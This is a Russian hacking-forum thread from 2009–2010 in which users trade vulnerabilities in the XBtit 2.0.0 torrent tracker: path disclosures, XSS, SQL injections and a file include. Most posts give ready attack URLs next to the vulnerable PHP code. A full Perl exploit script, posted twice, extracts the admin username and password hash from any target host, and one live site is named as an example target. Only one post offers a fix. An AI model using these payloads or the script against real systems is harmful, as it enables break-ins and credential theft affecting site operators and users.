Торрент трекер XBtit

Discussion in 'Песочница' started by Ctacok, 13 Aug 2009.

  1. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Сёдня начал рыться в исходниках.
    И так.
    Было иследованно на:
    Xbtit 2.0.0

    Раскрытие путей.

    Уязвим GET параметр returnto.

    PHPSESSIONID раскрытие путей.
    В куках

    XSS

    - Пассивная



    Оло, через ошибку можно =\
    PHP:
    ...
    if (isset(
    $_GET["order"]))
    $order=htmlspecialchars($_GET["order"]);
    else
    $order="joined";
    ...
    $query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";

    Ещё нашёл :)

    Code:
    #!/usr/bin/perl 
    use LWP::Simple;
    print "\n";
    print "##############################################################\n";
    print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT                #\n";
    print "# Author: Ctacok  (Russian)                                  #\n";
    print "# Blog : www.Ctacok.ru                                       #\n";
    print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
    print "# Hello HAXTA4OK, mailbrush    (Thanks)                      #\n";
    print "##############################################################\n";
    if (@ARGV < 2)
    {
    print "\n Usage: exploit.pl [host] [path] ";
    print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
    exit;
    }
    $host=$ARGV[0];
    $path=$ARGV[1];
    $vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)";
    $doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
    if ($doc =~ /:::(.+):(.+):(.+):::/){
            print "\n[+] Admin id: : $1";
    		print "\n[+] Admin username: $2";
    		print "\n[+] Admin password: $3";
    }else{
    		print "\n My name is Fail, Epic Fail... \n"
    }
    
    
    Активная XSS:

    index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).
    Меняем Avatar(Url) на:

    jav ascript:alert();%00.gif
    // Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
    Как бы надо хоть как javascript заменять на что-то подобное :)
    Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
    Но если делать в <IMG src='javascript:alert();.gif'>
    То код выполняться небудет, обычным нулл байтом прокатило :)

    Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)


    Надо что-бы торренты были открыты для публичного просмотра )
     
    #1 Ctacok, 13 Aug 2009
    Last edited: 14 Jun 2010
    7 people like this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Требуются права админа :(

    SQL-inj

    index.php?page=admin&user=2&code=8355071'&do=pruneu

    SQL-inj
    Наврал , :) права пользователя нужны

    index.php?page=allshout&sid=1'&edit
    index.php?page=allshout&sid=1'&delete

    уязвимый код :
    Code:
    $sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool
    
      
        $sql =  "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";
    
    пример :

    Code:
    http://lampmaster.dk/index.php?page=allshout&sid=1'&edit
    решение проблемы:

    Code:
    $sid = isset($_GET["sid"])?(int)$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool
    
      
        $sql =  "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";
    



    index.php?page=allshout&sid=1+and+substring(version(),1,1)=5/*&edit


    Раскрытие путей
    если создан хоть один топик в форуме

    index.php?page=forum&action=viewforum&forumid[]=

    index.php?page=forum&action=viewtopic&topicid[]=
     
    _________________________
    #2 HAXTA4OK, 13 Aug 2009
    Last edited: 15 Aug 2009
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Покажи уязвимый код.
     
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Code:
    $sid = isset($_GET["sid"])?$_GET["sid"]:0; # get shout id (sid)and set it to zero for bool
    
      
        $sql =  "SELECT * FROM {$TABLE_PREFIX}chat WHERE id > ".$lastID." AND id != ".$sid." ORDER BY id DESC";
        $conn = his_getDBConnection(); # establishes the connection to the database
        $results = mysql_query($sql, $conn);
    
    что посмотрев его я задумался если тут уязвимость?хотя order by проходит , и в итоге дает мне 5 столбцов
     
    _________________________
  5. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Какой запрос пытаешься передать? Посмотри фильтруется ли выше $_GET["sid"], или вообще массив $_GET.
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    про sid
    if (isset($_GET["sid"])) {
    $sid = intval($_GET["sid"]); # getting shout id (sid)
    но там $sid = intval($_GET["sid"]); a He $_GET['sid'] = intval($_GET["sid"]);

    нету :) не фильтрует

    3anpoc index.php?page=allshout&sid=1+order+by+6/*&delete => index.php?page=allshout&sid=1+order+by+5/*&delete =>

    index.php?page=allshout&sid=1+union+select+1,2,3,4,5/*&delete

    мне тут уже он выдает ( у меня ошибку)а на одном сайте просто кидает на индекс.пхп :)
     
    _________________________
    #6 HAXTA4OK, 13 Aug 2009
    Last edited: 13 Aug 2009
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    intval()- Убирает все слова и т.п. из GET sid.
    т.е. только цифры.
    PS.
    В асю напиши, у меня там кое где есть исчо одна бага.
     
    1 person likes this.
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    по сути инклуд)))
    при register_glodals = on
    index.php?page=recover&THIS_BASEPATH='

    PHP:


               
    include("$THIS_BASEPATH/include/security_code.php");
               



    Qwazar глянь плиз :) и можно ли его реализвоать?


    index.php?page=admin&user=2&code=835507&do=logview&THIS_BASEPATH=1'

    PHP:

       
        
    include("$THIS_BASEPATH/include/offset.php");

       
    index.php?page=viewnews&THIS_BASEPATH='
     
    _________________________
    #8 HAXTA4OK, 14 Aug 2009
    Last edited: 15 Aug 2009
    1 person likes this.
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Расскрытие путей: /ajaxchat/sendChatData.php

    Уязвимый кусок кода:
    PHP:
    if (!ini_get('register_globals')) {
            
    extract($_POSTEXTR_SKIP);
    }
    $name $n# name from the form
    $text $c# comment from the form
    $uid $u;  # userid from the form
    Если не найден $_GET $_POST $_COOKIE n или c или u, выскакивает Notice, мол, переменная не найдена.
    Code:
    Notice: Undefined variable: X in [PATH]
    SQL-инъекция, причем очень хитромудрая :) После выполнения запроса смотрим в чат и видим юзера, бд, версию.
    Code:
    /ajaxchat/sendChatData.php?n=123\&c=,concat_ws(0x3a,user(),database(),version()),7)/*&u=2
    Если не работает GET'ом, попробуйте POST'ом. Почему? Смотрите ниже, там где постинг от другого юзера.

    Уязвимый кусок кода:
    PHP:
    //смотрим предыдущий код, откуда берутся переменные
    //бажный мегафильтр
    $name str_replace("\'","'",$name);
    $name str_replace("'","\'",$name);
    $text str_replace("\'","'",$text);
    $text str_replace("'","\'",$text);
    $text str_replace("---"," - - ",$text);

    $name str_replace("---"," - - ",$name);

    //сама ф-ция записи в БД
    function addData($name,$text,$uid) {
      include(
    "../include/settings.php");   # getting table prefix
      
    $now time();
        
    $sql "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
        
    $conn getDBConnection();
        
    $results mysql_query($sql$conn);
        if (!
    $results || empty($results)) {
            
    # echo 'There was an error creating the entry';
            
    end;
        }
    }
    Т.е. получается, что бажный фильтр экранирует кавычки в переменных $name, $text. Но это не проблема, т.к. слеш не экранируется. При запросе на сайт

    Code:
    /ajaxchat/sendChatData.php?n=NAME\&c=,concat_ws(0x3a,user(),database(),version()),2)/*&u=2
    запрос в базу выглядит таким образом:
    Code:
    [B][color="Green"]INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES 
    
    ('1234567890','[color="Red"]NAME\',[/color]',[color="Red"]concat_ws(0x3a,user(),database(),version())[/color],[color="Red"]2[/color])[color="White"]/*','2')[/color][/color][/B]
    Вроде, разукрасил, как мог... Но если еще непонятно, объясню - фильтр НЕ фильтрует бекслеш, т.е. \. Если в конец поля NAME, т.е. в GET/POST - "n"" вставить бекслеш, получится, что он экранирует кавычку и текст mysql-поля NAME будет считаться до тех пор, пока не будет найдена кавычка. Она найдена - открывающая кавычка поля TEXT. Другое поле должно быть отделено запятой от предыдущего, поэтому и запятая в GET/POST поле "c". После запятой идет содержимое поля text, мы подставляем то, что нам нужно, в конкретном случае concat_ws(0x3a,user(),database(),version()). Отделяем запятой следующее поле - uid - пишем любое число, в моем случае - 2. Ну и "/*", чтобы отсечь все лишнее. PS: Поле uid не фильруется, но т.к. оно типа mediumint(9), ничего полезного из него мы не достанем.

    Blind SQL-инъекция. Необходимы права админа.
    Code:
    /index.php?page=admin&user=2&code=134469&do=category&action=edit&id=5 and substring(version(),1)=5
    Уязвимый код:
    PHP:
        case 'edit':
            if (isset(
    $_GET["id"]))
              {
                
    // we should get only 1 style, selected with radio ...
                
    $id=max(0,$_GET["id"]);
    ...
    Blind SQL-инъекция. Необходимы права админа.
    Code:
    /index.php?page=admin&user=2&code=134469&do=style&action=edit&id=1+and+substring(version(),1)=5
    Уязвимый код:
    PHP:
        case 'edit':
          if (isset(
    $_GET["id"]))
            {
              
    // we should get only 1 style, selected with radio ...
              
    $id=max(0,$_GET["id"]);
              
    $sres=get_result("SELECT style,style_url FROM {$TABLE_PREFIX}style WHERE id=$id",true);
    ...
    Пассивная XSS:
    Code:
    /index.php?page=edit&info_hash=HASHID&returnto=index.php";alert(/hello+world/);<!--
    Уязвимый код:
    Code:
    /include/functions.php
    PHP:
    function redirect($redirecturl) {
    // using javascript for redirecting
    // some hosting has warning enabled and this is causing
    // problem withs header() redirecting...

            
    print("If your browser doesn't have javascript enabled, click <a href=\"$redirecturl\"> here </a>");
            print(
    "<script LANGUAGE=\"javascript\">window.location.href=\"$redirecturl\"</script>");

    }
    Code:
    /edit.php
    PHP:
    $link urldecode($_GET["returnto"]);
    ...
    redirect($link);
    Постинг в чат от другого юзера:
    Code:
    http://127.0.0.1/dev/ajaxchat/sendChatData.php?n=NAME&c=TEXT&u=UID
    Уязвимый код:
    PHP:
    function addData($name,$text,$uid) {
      include(
    "../include/settings.php");   # getting table prefix
      
    $now time();
        
    $sql "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
        
    $conn getDBConnection();
        
    $results mysql_query($sql$conn);
        if (!
    $results || empty($results)) {
            
    # echo 'There was an error creating the entry';
            
    end;
        }
    Если register_globals = On - GET'ом открывать, в противном случае - POST'ом.

    ЗЫ: Сам не ожидал, что столько найду, напишу, о_О.
     
    #9 mailbrush, 16 Aug 2009
    Last edited: 16 Aug 2009
    4 people like this.
  10. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Cоздаeм нагрузку на сервер

    При register_globals = On

    /index.php?GLOBALS["charset"]=
     
    _________________________
    #10 HAXTA4OK, 29 Sep 2009
    Last edited: 29 Sep 2009
  11. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    PHP Include.
    Внимание, уязвимость находиться в файл установки скрипта :)D).
    install.php?lang_file=[LFI]&action=save_mysql
     
    4 people like this.
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    После установки этот файл автоматически удаляется.
     
    1 person likes this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Автоматически он не удаляется, просто там после установки красная надпись посредине трекер :)

    Раскрытие путей.
    /index.php?page=allshout&sid[]=1
    Как бэ HAXTA4OK уже постил в данном месте уязвимость.
    Но там скуля, и раскрытие путей.
     
    #13 Ctacok, 20 Oct 2009
    Last edited: 20 Oct 2009
    3 people like this.
  14. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Хм, у меня удалился. (v 2.0.0 r521)
     
    1 person likes this.
  15. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Скорее всего ты автоматом удалил т.е. по привычке :)
    (м 2.0.0 r523)
    [​IMG]
     
  16. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Раскрытие путей:

    index.php?page=users&searchtext[]=

    PHP:
     $search=htmlspecialchars($_GET["searchtext"]);
    index.php?page=edit&info_hash=929f507f7091ecc71a0e1d47fa1805cfb4339db7'&returnto=index.php%3Fpage%3Dtorrents

    Ппц..
     
    #16 Ctacok, 20 Oct 2009
    Last edited: 20 Oct 2009
  17. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Оло, через ошибку можно =\
    Права админа нужны, ща ещё пойду смотреть ...

    //2 RulleR, ищу :) Она там есть вообще по идеи, но блинд.

    НАшоооол!111

    PHP:
    ...
    if (isset(
    $_GET["order"]))
    $order=htmlspecialchars($_GET["order"]);
    else
    $order="joined";
    ...
    $query="select prefixcolor, suffixcolor, u.id, $udownloaded as downloaded, $uuploaded as uploaded, IF($udownloaded>0,$uuploaded/$udownloaded,0) as ratio, username, level, UNIX_TIMESTAMP(joined) AS joined,UNIX_TIMESTAMP(lastconnect) AS lastconnect, flag, flagpic, c.name as name, u.smf_fid FROM $utables INNER JOIN {$TABLE_PREFIX}users_level ul ON u.id_level=ul.id LEFT JOIN {$TABLE_PREFIX}countries c ON u.flag=c.id WHERE u.id>1 $where ORDER BY $order $by $limit";
     
    #17 Ctacok, 13 Mar 2010
    Last edited: 13 Mar 2010
  18. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Up.
    Ещё нашёл :)

    Code:
    #!/usr/bin/perl 
    use LWP::Simple;
    print "\n";
    print "##############################################################\n";
    print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT                #\n";
    print "# Author: Ctacok  (Russian)                                  #\n";
    print "# Blog : www.Ctacok.ru                                       #\n";
    print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
    print "# Hello HAXTA4OK, mailbrush    (Thanks)                      #\n";
    print "##############################################################\n";
    if (@ARGV < 2)
    {
    print "\n Usage: exploit.pl [host] [path] ";
    print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
    exit;
    }
    $host=$ARGV[0];
    $path=$ARGV[1];
    $vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)";
    $doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
    if ($doc =~ /:::(.+):(.+):(.+):::/){
            print "\n[+] Admin id: : $1";
    		print "\n[+] Admin username: $2";
    		print "\n[+] Admin password: $3";
    }else{
    		print "\n My name is Fail, Epic Fail... \n"
    }
    
    

    Надо что-бы торренты были открыты для публичного просмотра )
     
    #18 Ctacok, 28 Mar 2010
    Last edited: 28 Mar 2010
    5 people like this.
  19. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Активная XSS:

    index.php?page=usercp&do=user&action=change&uid=Ваш уид. (Кароче change profile в My panel).
    Меняем Avatar(Url) на:

    jav ascript:alert();%00.gif
    // Здесь этот пробел отфильтровал форум. Берём здесь http://ha.ckers.org/xss.html#XSS_Embedded_tab
    Как бы надо хоть как javascript заменять на что-то подобное :)
    Суть такова, что в конце обязательно нужен .gif,.jpg,.bmp или .png
    Но если делать в <IMG src='javascript:alert();.gif'>
    То код выполняться небудет, обычным нулл байтом прокатило :)

    Вообшем в модуле форум (не смф, а родной Xbtit'овский) при создании темы / сообщения, XSS срабатывает :)
    // Ulalala :)
     
    2 people like this.